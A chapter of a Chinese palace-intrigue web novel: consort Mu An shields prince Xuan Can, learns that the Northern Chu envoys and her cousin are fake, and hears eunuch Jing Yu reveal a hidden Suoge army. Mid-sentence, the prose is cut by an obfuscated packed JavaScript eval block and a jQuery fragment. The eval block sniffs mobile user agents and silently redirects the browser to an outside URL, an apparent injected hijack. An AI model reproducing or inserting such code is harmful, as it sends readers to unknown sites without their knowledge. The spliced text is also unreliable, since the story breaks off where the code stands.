25. 峰回

作品:《亡国后的第十六年

    一番波折过后,殿内众人皆被吓得魂不附体。


    这回亲眼目睹了皇帝的心机和手段,穆安才深刻的感受到从前穆钰在宫中的日子有多难,一个不小心就要把命丢了。


    景玉说穆钰比她有胆识,穆钰都做不到全身而退,那她呢?


    宣璨走得极慢,似乎在刻意等她。穆安远远瞥了他一眼,心中烦乱,此刻她并不想与宣璨多言。


    刚走出大殿,四下人影错落,穆安正朝着高华殿的方向去,不远处还传来冯美人肆意的哭声。穆安在心中默默叹气,景玉却突然停住脚步道:“娘娘,奴有些要事要处理。”


    接过递上来的宫灯,穆安看了景玉一眼,心知今日事和他有关。她点点头,未再多言,独自提着灯缓步前行,将景玉留在了原地。


    穆安绕过长廊,兜了一圈却没有回去,反而朝乾平宫的方向去了,贵妃无辜受了怀疑还不知会怎样呢,她突然想去看看贵妃。


    刚绕过高华殿背后的小路,还未走远,穆安便见一个身影慌慌张张地跑来。


    穆安连忙贴着墙面站定,心中暗自懊恼为何偏要在这大晚上出门。


    外头脚步声杂乱,显然还有追兵逼近。她悄悄探出半个脑袋,借着昏暗的夜色,竟发现那狼狈逃窜之人正是宣璨!


    顾不得多想,穆安迅速探出身子,一把将宣璨拉了过来。她一手捂住他的嘴,轻轻摇头示意他不要出声。


    宣璨冷静下来,又往巷子深处挤了挤。窄巷本就逼仄,挤进两人后更是寸步难行。


    外头的脚步声越来越近,穆安无奈,只得理了理头发,提着宫灯走出巷子,装作若无其事地出现在正路上。


    几名侍卫见到她,连忙恭敬行礼:“怡妃娘娘。”


    穆安淡淡问道:“你们这是在做什么?”


    “回娘娘,奴才们方才寻到一个可疑的身影。”


    穆安注意到这几名侍卫腰间挂着可以进出御前内宫的腰牌,显然是皇帝的亲信。她神色如常,语气平静:“本宫刚从那边过来,正准备去看望贵妃娘娘,并未见到什么人。”


    简单交代几句后,穆安便接着往前走了。她又绕了一大圈,才回到刚才宣璨的藏身之处。


    见他仍躲在那里,穆安低声问道:“你打算怎么办?”


    现在已经没有人在追他了,总不能在这里躲到天亮吧。


    “我去太后那里歇歇,明天一早再出宫。”宣璨的衣服被蹭乱了,样子有些狼狈。


    穆安见他拿定主意,也不说太后想要栽赃他的事,正准备转身离开,宣璨却突然叫住她。


    “娘娘。”宣璨递上一朵粉白芍药。


    正是方才从她发髻上掉落的。


    穆安接过,小声道了一声谢。


    随即问道:“他们为什么要追你?”


    “那个人不是我舅舅。”宣璨的模样有些萎靡。


    穆安闻言瞪大了眼睛,这是什么意思。


    宣璨看着她,随即一笑,“娘娘要小心了,北楚的使臣里应该也没有你的堂兄。”


    穆安捏紧了手里的花茎,消化着宣璨话里的信息。景玉通过她和宣璨递消息,可她并不知堂兄混在北楚使臣里的事。


    自己又被景玉瞒了一次。


    “是皇帝……”她的声音有些颤抖,被吓得后撤了一步,皇帝做了这么大一个局,居然连北楚使臣都是假的。


    “父皇一心要抓到我和北楚勾结的证据。”宣璨似是苦笑了一下,“我不会让他如意的。”


    穆安看着眼前的人,想说今天要不是遇见她,保不齐就让皇帝给抓住了。


    转而又想到,刚刚宣璨提醒她,北楚的使臣里没有堂兄,她根本不知道这件事也自然不会上当,那么……遭了!景玉!


    穆安问了宣璨使臣住处的方向,快步往那边赶去。


    夜色深沉,宫灯在风中摇曳,将她的影子拉得忽长忽短。她的心跳得极快,尽管她与景玉之间始终隔着层层算计,但此刻,她不得不承认,她无法坐视他陷入险境。


    穆安匆匆赶去,没让她等太久,正见到景玉她贴着墙根绕到后院。


    “景玉!”穆安压低了嗓子唤他。


    景玉一转身正看见穆安向他而来,“娘娘何故慌张?”


    穆安的额头已经起了汗珠,“宣璨说,北楚使臣是假的。”


    景玉惊讶了一下,显然也没有想到。


    “你去做什么了?”穆安忙问。


    “打算去找北楚使臣。”景玉实话实说。


    穆安一把攥住景玉的衣袖将他往回拉,“回去再说。”


    景玉好似泄了气,脚步有些慌乱,亦步亦趋地跟在穆安身后。


    夜已经深了,凉风习习吹得人身上泛冷,今天的情况危急,可好在他们目前还是安全的。


    两人刚回了高华殿,妙环和春棠便赶紧围上来,“娘娘怎么去了这么久?”


    “刚刚打算去看看贵妃的……不过还是算了……”穆安随意地说道,“给我备一些热水吧。”


    她转过身,却见景玉脸色苍白一副魂不守舍的模样。


    此时人多眼杂,穆安不便多问。


    春棠端来了热茶,穆安顾不得烫,大口大口饮起来。


    “听康合殿的人说,陛下要挖冯美人的眼睛?”春棠小心翼翼地问道。


    穆安不语,只点点头。


    春棠好像吓坏了,“那陛下会不会处置议论流言的人啊。”


    捧着热水的妙环也进来了,知道是在说冯美人的事,也瑟缩起来。


    景玉接过妙环递来的热水,安慰道:“要把所有议论流言的人都抓起来,那皇宫就要少一半人了,你们别担心了,娘娘方才宴会上没怎么吃东西,去吩咐小厨房煮点面条吧。”


    等人都走了,景玉有些脱力地倚靠在墙上。


    “今日被处置的那个宦官是谁?”


    “我干爹。”


    穆安沉默了片刻,叹了一口气,“你行事一向周全的……”


    景玉摇摇头,复又闭上眼,“我现在一闭上眼,就是他临死前看向我的眼睛。”


    窗户大开着,从外头吹进来一阵凉风,穆安忙将窗栓插上,又转身看向一旁斜倚的景玉,对方的身躯看起来有些单薄。


    “墙上有三道鬼影,一道是先皇,一道是陛下,最后那个女子是谁?”


    怕景玉不回答,她眼眸中闪出一丝光亮,补充道:“我在御花园的石墙上发现了磷石粉,我知道是你做的。”


    景玉的语气淡淡的,“太后曾经有过一个孩子,只是没生下来,一个丧母的皇子和一个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15036015|162433||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    丧子的皇后一起做了不少腌臜事。”


    这是穆安第一次见到景玉如此受挫,她忍不住起了兴趣,继续道:“让堂兄混在北楚使臣里,你和宣璨都是好大胆子啊。”


    “掉脑袋的事,宣璨为什么要帮我们。”穆安用了我们来称呼,表示她和景玉是一伙的。


    “之前仪妃帮了他一个大忙,交易而已。”


    “什么交易?”穆安有些无聊地把玩着手上的芍药,两个时辰过去,花已经蔫了。


    她斜眼看向景玉,“害死八皇子?”


    景玉有些惊讶,似是没想到穆安知道了这件事。


    穆安一手撑住头,另一只手在桌子上敲出随意的节奏,接着道:“我不明白,晟国亡国十载,无兵无将,堂兄此举不就是千里送死吗?”


    景玉沉默片刻,又好像突然想到了什么有趣的事,轻笑了起来,他转过头与穆安对视,“从来没有什么堂兄,晟国亲王家的男丁都已不在世了。”


    穆安怔愣住了,北楚使臣是假的,堂兄也是假的,到底什么是真的。


    和穆安一样,景玉也很喜欢看对方吃瘪的样子,“是我和穆钰商量的一个局,一举两得,既可以瞒过广王,还可以送一个把柄到广王手上。”


    “什么意思?”穆安收起了刚才的懒散,起身与景玉视线平齐,皱紧眉头问道。


    “娘娘可听说过有索戈族有一支军队世代为晟国所用?”


    穆安张了张嘴,说不出话来,她的眉头拧得更紧,“你究竟是什么人?”


    景玉又笑了起来,片刻后,他缓缓跪在穆安面前,“除了这件事,我以后不会有任何事瞒着你了。”


    穆安被他的动作吓得后退,她一直以来都厌恶这个男人的隐瞒,如今景玉匍匐在她脚下,说着臣服的话,穆安突然觉得心里无比畅快。


    “父皇死也没有吐露索戈军的下落……你、你们……”穆安忙问。从前她觉得复国无望,无非是因残兵败将实力弱小,可若是能召得索戈军,那便不同了。


    “你怎么不早告诉我。”穆安本想问他是如何知道的,临到嘴却吐出这样一番话。


    见她激动的模样,景玉笑得狡黠。


    景玉张张嘴正想回话,此时妙环慌慌张张地跑进来。


    “娘娘、娘娘!陛下宣怡妃娘娘侍寝!”


    妙环和春棠兴高采烈,穆安却是如坠冰窖。


    “娘娘,婢子为你梳洗吧。”妙环转身去梳妆台取梳头膏。


    “等、等等。”穆安连忙叫住她,话在嘴里嘟囔了半天,最后问道:“我的面还没好吗?”


    “娘娘,事不宜迟……不如……”


    “我饿极了,你们先去寻些吃的给我。”穆安有些无力,一场宴会,皇帝把此前威胁到他的人全部处置了,今夜突然要见她肯定不会是好事。


    穆安不安地在屋内来回踱步,越想越觉得此去凶多吉少。


    “皇帝要是想要娘娘的命,便就直接送来白绫毒酒了。”景玉稳住穆安,让她冷静下来,“定是有别的事,你届时莫说错话就好。”


    穆安晃了晃脑袋,她刚刚才燃起希望,她不想就这样死了。


    她从枕头下拿出太后交给她的玉佩捏在手心,皇帝现在的心腹大患是北楚,她得让皇帝知道自己还有用处。